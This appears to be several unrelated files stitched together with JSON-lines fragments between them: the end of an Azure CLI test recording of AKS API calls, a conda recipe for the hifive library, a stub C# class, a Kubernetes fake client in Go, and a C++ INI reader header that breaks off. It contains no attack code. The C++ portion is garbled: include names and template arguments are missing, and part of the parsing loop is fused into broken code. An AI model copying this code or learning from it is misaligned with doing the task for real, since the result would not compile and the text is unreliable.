2020 23:24:58 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n x-ms-ratelimit-remaining-subscription-writes:\n - '1196'\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks update\n Connection:\n - keep-alive\n ParameterSetName:\n - -g -n --load-balancer-outbound-ips\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.ContainerService/locations/westus2/operations/e7fb6f6e-549e-49fc-bc4b-acad8206dc87?api-version=2016-03-30\n response:\n body:\n string: \"{\\n \\\"name\\\": \\\"6e6ffbe7-9e54-fc49-bc4b-acad8206dc87\\\",\\n \\\"status\\\"\\\n : \\\"Succeeded\\\",\\n \\\"startTime\\\": \\\"2020-09-12T23:24:58.5618291Z\\\",\\n \\\"\\\n endTime\\\": \\\"2020-09-12T23:25:27.1649426Z\\\"\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '170'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:25:29 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks update\n Connection:\n - keep-alive\n ParameterSetName:\n - -g -n --load-balancer-outbound-ips\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001?api-version=2020-09-01\n response:\n body:\n string: \"{\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourcegroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001\\\"\\\n ,\\n \\\"location\\\": \\\"westus2\\\",\\n \\\"name\\\": \\\"cliakstest000001\\\",\\n \\\"type\\\"\\\n : \\\"Microsoft.ContainerService/ManagedClusters\\\",\\n \\\"properties\\\": {\\n \\\n \\ \\\"provisioningState\\\": \\\"Succeeded\\\",\\n \\\"kubernetesVersion\\\": \\\"1.16.13\\\"\\\n ,\\n \\\"dnsPrefix\\\": \\\"cliaksdns000004\\\",\\n \\\"fqdn\\\": \\\"cliaksdns000004-bd1ec6bc.hcp.westus2.azmk8s.io\\\"\\\n ,\\n \\\"agentPoolProfiles\\\": [\\n {\\n \\\"name\\\": \\\"nodepool1\\\",\\n \\\n \\ \\\"count\\\": 1,\\n \\\"vmSize\\\": \\\"Standard_DS2_v2\\\",\\n \\\"osDiskSizeGB\\\"\\\n : 128,\\n \\\"osDiskType\\\": \\\"Managed\\\",\\n \\\"maxPods\\\": 110,\\n \\\"\\\n type\\\": \\\"VirtualMachineScaleSets\\\",\\n \\\"provisioningState\\\": \\\"Succeeded\\\"\\\n ,\\n \\\"orchestratorVersion\\\": \\\"1.16.13\\\",\\n \\\"enableNodePublicIP\\\"\\\n : false,\\n \\\"nodeLabels\\\": {},\\n \\\"mode\\\": \\\"System\\\",\\n \\\"osType\\\"\\\n : \\\"Linux\\\",\\n \\\"nodeImageVersion\\\": \\\"AKSUbuntu-1604-2020.08.19\\\"\\n \\\n \\ }\\n ],\\n \\\"linuxProfile\\\": {\\n \\\"adminUsername\\\": \\\"azureuser\\\"\\\n ,\\n \\\"ssh\\\": {\\n \\\"publicKeys\\\": [\\n {\\n \\\"keyData\\\": \\\"\\\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbIg1guRHbI0lV11wWDt1r2cUdcNd27CJsg+SfgC7miZeubtwUhbsPdhMQsfDyhOWHq1+ZL0M+nJZV63d/1dhmhtgyOqejUwrPlzKhydsbrsdUor+JmNJDdW01v7BXHyuymT8G4s09jCasNOwiufbP/qp72ruu0bIA1nySsvlf9pCQAuFkAnVnf/rFhUlOkhtRpwcq8SUNY2zRHR/EKb/4NWY1JzR4sa3q2fWIJdrrX0DvLoa5g9bIEd4Df79ba7v+yiUBOS0zT2ll+z4g9izHK3EO5d8hL4jYxcjKs+wcslSYRWrascfscLgMlMGh0CdKeNTDjHpGPncaf3Z+FwwwjWeuiNBxv7bJo13/8B/098KlVDl4GZqsoBCEjPyJfV6hO0y/LkRGkk7oHWKgeWAfKtfLItRp00eZ4fcJNK9kCaSMmEugoZWcI7NGbZXzqFWqbpRI7NcDP9+WIQ+i9U5vqWsqd/zng4kbuAJ6UuKqIzB0upYrLShfQE3SAck8oaLhJqqq56VfDuASNpJKidV+zq27HfSBmbXnkR/5AK337dc3MXKJypoK/QPMLKUAP5XLPbs+NddJQV7EZXd29DLgp+fRIg3edpKdO7ZErWhv7d+3Kws+e1Y+ypmR2WIVSwVyBEUfgv2C8Ts9gnTF4pNcEY/S2aBicz5Ew2+jdyGNQQ==\\\n \\ test@example.com\\\\n\\\"\\n }\\n ]\\n }\\n },\\n \\\"servicePrincipalProfile\\\"\\\n : {\\n \\\"clientId\\\": \\\"d1173eb8-7ef3-4844-bc8b-92b7aec4f18f\\\"\\n },\\n \\\n \\ \\\"addonProfiles\\\": {\\n \\\"kubedashboard\\\": {\\n \\\"enabled\\\": true,\\n\\\n \\ \\\"config\\\": null\\n }\\n },\\n \\\"nodeResourceGroup\\\": \\\"MC_clitest000001_cliakstest000001_westus2\\\"\\\n ,\\n \\\"enableRBAC\\\": true,\\n \\\"networkProfile\\\": {\\n \\\"networkPlugin\\\"\\\n : \\\"kubenet\\\",\\n \\\"loadBalancerSku\\\": \\\"Standard\\\",\\n \\\"loadBalancerProfile\\\"\\\n : {\\n \\\"outboundIPs\\\": {\\n \\\"publicIPs\\\": [\\n {\\n \\\"\\\n id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n \\n },\\n {\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip2000003\\\"\\\n \\n }\\n ]\\n },\\n \\\"effectiveOutboundIPs\\\": [\\n {\\n\\\n \\ \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n \\n },\\n {\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip2000003\\\"\\\n \\n }\\n ],\\n \\\"allocatedOutboundPorts\\\": 0,\\n \\\"idleTimeoutInMinutes\\\"\\\n : 30\\n },\\n \\\"podCidr\\\": \\\"10.244.0.0/16\\\",\\n \\\"serviceCidr\\\": \\\"\\\n 10.0.0.0/16\\\",\\n \\\"dnsServiceIP\\\": \\\"10.0.0.10\\\",\\n \\\"dockerBridgeCidr\\\"\\\n : \\\"172.17.0.1/16\\\",\\n \\\"outboundType\\\": \\\"loadBalancer\\\"\\n },\\n \\\"\\\n maxAgentPools\\\": 10\\n },\\n \\\"sku\\\": {\\n \\\"name\\\": \\\"Basic\\\",\\n \\\"tier\\\"\\\n : \\\"Free\\\"\\n }\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '3394'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:25:29 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks show\n Connection:\n - keep-alive\n ParameterSetName:\n - -g -n\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n accept-language:\n - en-US\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001?api-version=2020-09-01\n response:\n body:\n string: \"{\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourcegroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001\\\"\\\n ,\\n \\\"location\\\": \\\"westus2\\\",\\n \\\"name\\\": \\\"cliakstest000001\\\",\\n \\\"type\\\"\\\n : \\\"Microsoft.ContainerService/ManagedClusters\\\",\\n \\\"properties\\\": {\\n \\\n \\ \\\"provisioningState\\\": \\\"Succeeded\\\",\\n \\\"kubernetesVersion\\\": \\\"1.16.13\\\"\\\n ,\\n \\\"dnsPrefix\\\": \\\"cliaksdns000004\\\",\\n \\\"fqdn\\\": \\\"cliaksdns000004-bd1ec6bc.hcp.westus2.azmk8s.io\\\"\\\n ,\\n \\\"agentPoolProfiles\\\": [\\n {\\n \\\"name\\\": \\\"nodepool1\\\",\\n \\\n \\ \\\"count\\\": 1,\\n \\\"vmSize\\\": \\\"Standard_DS2_v2\\\",\\n \\\"osDiskSizeGB\\\"\\\n : 128,\\n \\\"osDiskType\\\": \\\"Managed\\\",\\n \\\"maxPods\\\": 110,\\n \\\"\\\n type\\\": \\\"VirtualMachineScaleSets\\\",\\n \\\"provisioningState\\\": \\\"Succeeded\\\"\\\n ,\\n \\\"orchestratorVersion\\\": \\\"1.16.13\\\",\\n \\\"enableNodePublicIP\\\"\\\n : false,\\n \\\"nodeLabels\\\": {},\\n \\\"mode\\\": \\\"System\\\",\\n \\\"osType\\\"\\\n : \\\"Linux\\\",\\n \\\"nodeImageVersion\\\": \\\"AKSUbuntu-1604-2020.08.19\\\"\\n \\\n \\ }\\n ],\\n \\\"linuxProfile\\\": {\\n \\\"adminUsername\\\": \\\"azureuser\\\"\\\n ,\\n \\\"ssh\\\": {\\n \\\"publicKeys\\\": [\\n {\\n \\\"keyData\\\": \\\"\\\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbIg1guRHbI0lV11wWDt1r2cUdcNd27CJsg+SfgC7miZeubtwUhbsPdhMQsfDyhOWHq1+ZL0M+nJZV63d/1dhmhtgyOqejUwrPlzKhydsbrsdUor+JmNJDdW01v7BXHyuymT8G4s09jCasNOwiufbP/qp72ruu0bIA1nySsvlf9pCQAuFkAnVnf/rFhUlOkhtRpwcq8SUNY2zRHR/EKb/4NWY1JzR4sa3q2fWIJdrrX0DvLoa5g9bIEd4Df79ba7v+yiUBOS0zT2ll+z4g9izHK3EO5d8hL4jYxcjKs+wcslSYRWrascfscLgMlMGh0CdKeNTDjHpGPncaf3Z+FwwwjWeuiNBxv7bJo13/8B/098KlVDl4GZqsoBCEjPyJfV6hO0y/LkRGkk7oHWKgeWAfKtfLItRp00eZ4fcJNK9kCaSMmEugoZWcI7NGbZXzqFWqbpRI7NcDP9+WIQ+i9U5vqWsqd/zng4kbuAJ6UuKqIzB0upYrLShfQE3SAck8oaLhJqqq56VfDuASNpJKidV+zq27HfSBmbXnkR/5AK337dc3MXKJypoK/QPMLKUAP5XLPbs+NddJQV7EZXd29DLgp+fRIg3edpKdO7ZErWhv7d+3Kws+e1Y+ypmR2WIVSwVyBEUfgv2C8Ts9gnTF4pNcEY/S2aBicz5Ew2+jdyGNQQ==\\\n \\ test@example.com\\\\n\\\"\\n }\\n ]\\n }\\n },\\n \\\"servicePrincipalProfile\\\"\\\n : {\\n \\\"clientId\\\": \\\"d1173eb8-7ef3-4844-bc8b-92b7aec4f18f\\\"\\n },\\n \\\n \\ \\\"addonProfiles\\\": {\\n \\\"kubedashboard\\\": {\\n \\\"enabled\\\": true,\\n\\\n \\ \\\"config\\\": null\\n }\\n },\\n \\\"nodeResourceGroup\\\": \\\"MC_clitest000001_cliakstest000001_westus2\\\"\\\n ,\\n \\\"enableRBAC\\\": true,\\n \\\"networkProfile\\\": {\\n \\\"networkPlugin\\\"\\\n : \\\"kubenet\\\",\\n \\\"loadBalancerSku\\\": \\\"Standard\\\",\\n \\\"loadBalancerProfile\\\"\\\n : {\\n \\\"outboundIPs\\\": {\\n \\\"publicIPs\\\": [\\n {\\n \\\"\\\n id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n \\n },\\n {\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip2000003\\\"\\\n \\n }\\n ]\\n },\\n \\\"effectiveOutboundIPs\\\": [\\n {\\n\\\n \\ \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n \\n },\\n {\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip2000003\\\"\\\n \\n }\\n ],\\n \\\"allocatedOutboundPorts\\\": 0,\\n \\\"idleTimeoutInMinutes\\\"\\\n : 30\\n },\\n \\\"podCidr\\\": \\\"10.244.0.0/16\\\",\\n \\\"serviceCidr\\\": \\\"\\\n 10.0.0.0/16\\\",\\n \\\"dnsServiceIP\\\": \\\"10.0.0.10\\\",\\n \\\"dockerBridgeCidr\\\"\\\n : \\\"172.17.0.1/16\\\",\\n \\\"outboundType\\\": \\\"loadBalancer\\\"\\n },\\n \\\"\\\n maxAgentPools\\\": 10\\n },\\n \\\"sku\\\": {\\n \\\"name\\\": \\\"Basic\\\",\\n \\\"tier\\\"\\\n : \\\"Free\\\"\\n }\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '3394'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:25:31 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks delete\n Connection:\n - keep-alive\n Content-Length:\n - '0'\n ParameterSetName:\n - -g -n --yes --no-wait\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n accept-language:\n - en-US\n method: DELETE\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001?api-version=2020-09-01\n response:\n body:\n string: ''\n headers:\n azure-asyncoperation:\n - https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.ContainerService/locations/westus2/operations/707b2935-a2a6-466d-8db6-cce9b659a87a?api-version=2016-03-30\n cache-control:\n - no-cache\n content-length:\n - '0'\n date:\n - Sat, 12 Sep 2020 23:25:32 GMT\n expires:\n - '-1'\n location:\n - https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.ContainerService/locations/westus2/operationresults/707b2935-a2a6-466d-8db6-cce9b659a87a?api-version=2016-03-30\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n x-content-type-options:\n - nosniff\n x-ms-ratelimit-remaining-subscription-deletes:\n - '14999'\n status:\n code: 202\n message: Accepted\nversion: 1\n"} -{"text": "{% set version = \"1.5.7\" %}\n{% set sha256 = \"a903d209eeedba4f9f415a260f2080b469ca460b16a97c9663274bf90f1f6093\" %}\n\npackage:\n name: hifive\n version: '{{ version }}'\n\nsource:\n url: https://github.com/bxlab/hifive/archive/v{{ version }}.tar.gz\n sha256: '{{ sha256 }}'\n\nbuild:\n skip: true # [py>27]\n number: 2\n script: {{ PYTHON }} -m pip install . --ignore-installed --no-deps -vv\n\nrequirements:\n build:\n - {{ compiler('c') }}\n - {{ compiler('cxx') }}\n host:\n - pip\n - python\n - numpy\n - scipy\n - h5py\n - cython\n - setuptools_cython\n run:\n - python\n - numpy\n - scipy\n - h5py\n - setuptools_cython\n # these are listed as optional\n - pyx ==0.12.1 # 0.12.1 is the latest pyx version supported on PY2\n - pysam\n - pillow\n - mpi4py # [not osx] ## https://github.com/conda/conda/issues/2277\n #- mlpy # used for hifive.hic.learn_fend_3D_modol, but conda build currently fails\n\ntest:\n # Python imports\n imports:\n - hifive\n - hifive.commands\n - hifive.libraries\n\nabout:\n home: https://github.com/bxlab/hifive\n license: MIT\n license_family: MIT\n license_file: LICENSE.txt\n summary: Python library for normalizing and analyzing HiC and 5C data\n"} -{"text": "namespace ClassLib099\n{\n public class Class079\n {\n public static string Property => \"ClassLib099\";\n }\n}\n"} -{"text": "/*\nCopyright 2016 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fake\n\nimport (\n\tauthorizationapi \"k8s.io/client-go/pkg/apis/authorization/v1beta1\"\n\t\"k8s.io/client-go/testing\"\n)\n\nfunc (c *FakeSubjectAccessReviews) Create(sar *authorizationapi.SubjectAccessReview) (result *authorizationapi.SubjectAccessReview, err error) {\n\tobj, err := c.Fake.Invokes(testing.NewRootCreateAction(authorizationapi.SchemeGroupVersion.WithResource(\"subjectaccessreviews\"), sar), &authorizationapi.SubjectAccessReview{})\n\treturn obj.(*authorizationapi.SubjectAccessReview), err\n}\n"} -{"text": "#ifndef INI_READER_H_INCLUDED\n#define INI_READER_H_INCLUDED\n\n#include \n#include \n#include \n#include \n#include \n\n#include \"misc.h\"\n\nenum\n{\n INIREADER_EXCEPTION_EMPTY = -5,\n INIREADER_EXCEPTION_DUPLICATE,\n INIREADER_EXCEPTION_OUTOFBOUND,\n INIREADER_EXCEPTION_NOTEXIST,\n INIREADER_EXCEPTION_NOTPARSED,\n INIREADER_EXCEPTION_NONE\n};\n\ntypedef std::map> ini_data_struct;\ntypedef std::multimap string_multimap;\ntypedef std::vector string_array;\ntypedef std::string::size_type string_size;\n\nclass INIReader\n{\n /**\n * @brief A simple INI reader which utilize map and vector\n * to store sections and items, allowing access in logarithmic time.\n */\nprivate:\n /**\n * @brief Internal parsed flag.\n */\n bool parsed = false;\n std::string current_section;\n ini_data_struct ini_content;\n string_array exclude_sections, include_sections, direct_save_sections;\n string_array section_order;\n\n std::string cached_section;\n ini_data_struct::iterator cached_section_content;\n\n std::string isolated_items_section;\n\n //error flags\n int last_error = INIREADER_EXCEPTION_NONE;\n unsigned int last_error_index = 0;\n\n inline int __priv_save_error_and_return(int x)\n {\n last_error = x;\n return last_error;\n }\n\n inline bool __priv_chk_ignore(const std::string §ion)\n {\n bool excluded = false, included = false;\n excluded = std::find(exclude_sections.cbegin(), exclude_sections.cend(), section) != exclude_sections.cend();\n if(include_sections.size())\n included = std::find(include_sections.cbegin(), include_sections.cend(), section) != include_sections.cend();\n else\n included = true;\n\n return excluded || !included;\n }\n\n inline bool __priv_chk_direct_save(const std::string §ion)\n {\n return std::find(direct_save_sections.cbegin(), direct_save_sections.cend(), section) != direct_save_sections.cend();\n }\n\n inline std::string __priv_get_err_str(int error)\n {\n switch(error)\n {\n case INIREADER_EXCEPTION_EMPTY:\n return \"Empty document\";\n case INIREADER_EXCEPTION_DUPLICATE:\n return \"Duplicate section\";\n case INIREADER_EXCEPTION_NOTEXIST:\n return \"Target does not exist\";\n case INIREADER_EXCEPTION_OUTOFBOUND:\n return \"Item exists outside of any section\";\n case INIREADER_EXCEPTION_NOTPARSED:\n return \"Parse error\";\n default:\n return \"Undefined\";\n }\n }\npublic:\n /**\n * @brief Set this flag to true to do a UTF8-To-GBK conversion before parsing data. Only useful in Windows.\n */\n bool do_utf8_to_gbk = false;\n\n /**\n * @brief Set this flag to true so any line within the section will be stored even it doesn't follow the \"name=value\" format.\n * These lines will store as the name \"{NONAME}\".\n */\n bool store_any_line = false;\n\n /**\n * @brief Save isolated items before any section definitions.\n */\n bool store_isolated_line = false;\n\n /**\n * @brief Allow a section title to appear multiple times.\n */\n bool allow_dup_section_titles = false;\n\n /**\n * @brief Keep an empty section while parsing.\n */\n bool keep_empty_section = true;\n\n /**\n * @brief Initialize the reader.\n */\n INIReader()\n {\n parsed = false;\n }\n\n /**\n * @brief Parse a file during initialization.\n */\n explicit INIReader(const std::string &filePath)\n {\n parsed = false;\n ParseFile(filePath);\n }\n\n ~INIReader() = default;\n\n INIReader& operator=(const INIReader& src)\n {\n //copy contents\n ini_content = src.ini_content;\n //copy status\n parsed = src.parsed;\n current_section = src.current_section;\n exclude_sections = src.exclude_sections;\n include_sections = src.include_sections;\n section_order = src.section_order;\n isolated_items_section = src.isolated_items_section;\n //copy preferences\n do_utf8_to_gbk = src.do_utf8_to_gbk;\n store_any_line = src.store_any_line;\n store_isolated_line = src.store_isolated_line;\n allow_dup_section_titles = src.allow_dup_section_titles;\n keep_empty_section = src.keep_empty_section;\n return *this;\n }\n\n INIReader(const INIReader &src) = default;\n\n std::string GetLastError()\n {\n if(parsed)\n return __priv_get_err_str(last_error);\n else\n return \"line \" + std::to_string(last_error_index) + \": \" + __priv_get_err_str(last_error);\n }\n\n /**\n * @brief Exclude a section with the given name.\n */\n void ExcludeSection(const std::string §ion)\n {\n exclude_sections.emplace_back(section);\n }\n\n /**\n * @brief Include a section with the given name.\n */\n void IncludeSection(const std::string §ion)\n {\n include_sections.emplace_back(section);\n }\n\n /**\n * @brief Add a section to the direct-save sections list.\n */\n void AddDirectSaveSection(const std::string §ion)\n {\n direct_save_sections.emplace_back(section);\n }\n\n /**\n * @brief Set isolated items to given section.\n */\n void SetIsolatedItemsSection(const std::string §ion)\n {\n isolated_items_section = section;\n }\n\n /**\n * @brief Parse INI content into mapped data structure.\n * If exclude sections are set, these sections will not be stored.\n * If include sections are set, only these sections will be stored.\n */\n int Parse(std::string content) //parse content into mapped data\n {\n if(!content.size()) //empty content\n return __priv_save_error_and_return(INIREADER_EXCEPTION_EMPTY);\n\n //remove UTF-8 BOM\n if(content.compare(0, 3, \"\\xEF\\xBB\\xBF\") == 0)\n content.erase(0, 3);\n\n bool inExcludedSection = false, inDirectSaveSection = false, inIsolatedSection = false;\n std::string strLine, thisSection, curSection, itemName, itemVal;\n string_multimap itemGroup;\n string_array read_sections;\n std::stringstream strStrm;\n char delimiter = getLineBreak(content);\n\n EraseAll(); //first erase all data\n if(do_utf8_to_gbk && is_str_utf8(content))\n content = UTF8ToACP(content); //do conversion if flag is set\n\n if(store_isolated_line && isolated_items_section.size())\n {\n curSection = isolated_items_section; //items before any section define will be store in this section\n //check this section first\n inExcludedSection = __priv_chk_ignore(curSection); //check if this section is excluded\n inDirectSaveSection = __priv_chk_direct_save(curSection); //check if this section requires direct-save\n inIsolatedSection = true;\n }\n strStrm<= 2 && strLine[0] == '/' && strLine[1] == '/')) && !inDirectSaveSection) //empty lines and comments are ignored\n continue;\n ProcessEscapeChar(strLine);\n if(strLine[0] == '[' && strLine[lineSize - 1] == ']') //is a section title\n {\n thisSection = strLine.substr(1, lineSize - 2); //save section title\n inExcludedSection = __priv_chk_ignore(thisSection); //check if this section is excluded\n inDirectSaveSection = __priv_chk_direct_save(thisSection); //check if this section requires direct-save\n\n if(curSection.size() && (keep_empty_section || itemGroup.size())) //just finished reading a section\n {\n if(ini_content.find(curSection) != ini_content.end()) //a section with the same name has been inserted\n {\n if(allow_dup_section_titles || !ini_content.at(curSection).size())\n {\n auto iter = ini_content.at(curSection); //get the existing section\n iter.merge(itemGroup); //move new items to this section\n }\n else if(ini_content.at(curSection).size())\n return __priv_save_error_and_return(INIREADER_EXCEPTION_DUPLICATE); //not allowed, stop\n }\n else if(!inIsolatedSection || isolated_items_section != thisSection)\n {\n if(itemGroup.size())\n read_sections.push_back(curSection); //add to read sections list\n if(std::find(section_order.cbegin(), section_order.cend(), curSection) == section_order.cend())\n section_order.emplace_back(curSection); //add to section order if not added before\n ini_content.emplace(std::move(curSection), std::move(itemGroup)); //insert previous section to content map\n }\n }\n inIsolatedSection = false;\n eraseElements(itemGroup); //reset section storage\n curSection = thisSection; //start a new section\n }\n else if(((store_any_line && pos_equal == strLine.npos) || inDirectSaveSection) && !inExcludedSection && curSection.size()) //store a line without name\n {\n itemGroup.emplace(\"{NONAME}\", strLine);\n }\n else if(pos_equal != strLine.npos) //is an item\n {\n if(inExcludedSection) //this section is excluded\n continue;\n if(!curSection.size()) //not in any section\n return __priv_save_error_and_return(INIREADER_EXCEPTION_OUTOFBOUND);\n string_size pos_value = strLine.find_first_not_of(' ', pos_equal + 1);\n itemName = trim(strLine.substr(0, pos_equal));\n if(pos_value != strLine.npos) //not a key with empty value\n {\n itemVal = strLine.substr(pos_value);\n itemGroup.emplace(std::move(itemName), std::move(itemVal)); //insert to current section\n }\n else\n itemGroup.emplace(std::move(itemName), std::string());\n }\n if(include_sections.size() && include_sections == read_sections) //all included sections has been read\n break; //exit now\n }\n if(curSection.size() && (keep_empty_section || itemGroup.size())) //final section\n {\n if(ini_content.find(curSection) != ini_content.end()) //a section with the same name has been inserted\n {\n if(allow_dup_section_titles || isolated_items_section == thisSection)\n {\n auto &iter = ini_content.at(curSection); //get the existing section\n iter.merge(itemGroup); //move new items to this section\n }\n else if(ini_content.at(curSection).size())\n return __priv_save_error_and_return(INIREADER_EXCEPTION_DUPLICATE); //not allowed, stop\n }\n else if(!inIsolatedSection || isolated_items_section != thisSection)\n {\n if(itemGroup.size())\n read_sections.emplace_back(curSection); //add to read sections list\n if(std::find(section_order.cbegin(), section_order.cend(), curSection) == section_order.cend())\n section_order.emplace_back(curSection); //add to section order if not added before\n ini_content.emplace(std::move(curSection), std::move(itemGroup)); //insert this section to content map\n }\n }\n parsed = true;\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NONE); //all done\n }\n\n /**\n * @brief Parse an INI file into mapped data structure.\n */\n int ParseFile(const std::string &filePath)\n {\n if(!fileExist(filePath))\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NOTEXIST);\n return Parse(fileGet(filePath));\n }\n\n /**\n * @brief Check whether a section exist.\n */\n bool SectionExist(const std::string §ion)\n {\n return ini_content.find(section) != ini_content.end();\n }\n\n /**\n * @brief Count of sections in the whole INI.\n */\n unsigned int SectionCount()\n {\n return ini_content.size();\n }\n\n /**\n * @brief Return all section names inside INI.\n */\n string_array GetSections()\n {\n return section_order;\n }\n\n /**\n * @brief Enter a section with the given name. Section name and data will be cached to speed up the following reading process.\n */\n int EnterSection(const std::string §ion)\n {\n if(!SectionExist(section))\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NOTEXIST);\n current_section = cached_section = section;\n cached_section_content = ini_content.find(section);\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NONE);\n }\n\n /**\n * @brief Set current section.\n */\n void SetCurrentSection(const std::string §ion)\n {\n current_section = section;\n }\n\n /**\n * @brief Check whether an item exist in the given section. Return false if the section does not exist.\n */\n bool ItemExist(const std::string §ion, const std::string &itemName)\n {\n if(!SectionExist(section))\n return false;\n\n if(section != cached_section)\n {\n cached_section = section;\n cached_section_content = ini_content.find(section);\n }\n auto &cache = cached_section_content->second;\n return cache.find(itemName) != cache.end();\n }\n\n /**\n * @brief Check whether an item exist in current section. Return false if the section does not exist.\n */\n bool ItemExist(const std::string &itemName)\n {\n return current_section.size() ? ItemExist(current_section, itemName) : false;\n }\n\n /**\n * @brief Check whether an item with the given name prefix exist in the given section. Return false if the section does not exist.\n */\n bool ItemPrefixExist(const std::string §ion, const std::string &itemName)\n {\n if(!SectionExist(section))\n return false;\n\n if(section != cached_section)\n {\n cached_section = section;\n cached_section_content = ini_content.find(section);\n }\n\n for(auto &x : cached_section_content->second)\n {\n if(x.first.find(itemName) == 0)\n return true;\n }\n\n return false;\n }\n\n /**\n * @brief Check whether an item with the given name prefix exist in current section. Return false if the section does not exist.\n */\n bool ItemPrefixExist(const std::string &itemName)\n {\n return current_section.size() ? ItemPrefixExist(current_section, itemName) : false;\n }\n\n /**\n * @brief Count of items in the given section. Return 0 if the section does not exist.\n */\n unsigned int ItemCount(const std::string §ion)\n {\n if(!parsed || !SectionExist(section))\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NOTPARSED);\n\n return ini_content.at(section).size();\n }\n\n /**\n * @brief Erase all data from the data structure and reset parser 